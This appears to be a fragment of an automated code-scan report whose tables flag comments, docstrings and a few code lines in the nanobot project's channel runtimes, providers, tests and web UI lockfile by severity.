| LOW | nanobot/channels/wecom/runtime.py | 487 | # Step 3: finish | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2395 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2421 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2449 | # Step 3: Send message with the media item | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/channels/dingtalk/runtime.py | 77 | # Parse using SDK's ChatbotMessage for robust handling | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 1248 | # If quoted message is media, just pass the text | COMMENT |
| MEDIUM | nanobot/channels/signal/runtime.py | 717 | # Keep aliases of the bot account for robust mention matching. | COMMENT |
| MEDIUM | webui/package-lock.json | 7906 | "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1555 | # under the reasoning trace. | COMMENT |
| MEDIUM | docs/my-tool.md | 48 | # Note: prompt_tokens is cumulative across all turns, not current context window occupancy. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | nanobot/skills/skill-creator/scripts/init_skill.py | 267 | Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill p | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/tools/test_mcp_tool.py | 206 | CODE | |
| MEDIUM | tests/tools/test_mcp_tool.py | 891 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | render.yaml | 1 | # Render Blueprint — deploys nanobot's gateway + bundled WebUI as one web | COMMENT |
| LOW | nanobot/providers/registry.py | 81 | COMMENT | |
| LOW | nanobot/providers/registry.py | 101 | reasoning_as_content: bool = False | COMMENT |
| LOW | nanobot/providers/openai_compat_provider.py | 561 | timeout=timeout_s, | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …nobot/channels/whatsapp/tests/test_whatsapp_channel.py | 270 | def handle_request(request: httpx.Request) -> httpx.Response: | CODE |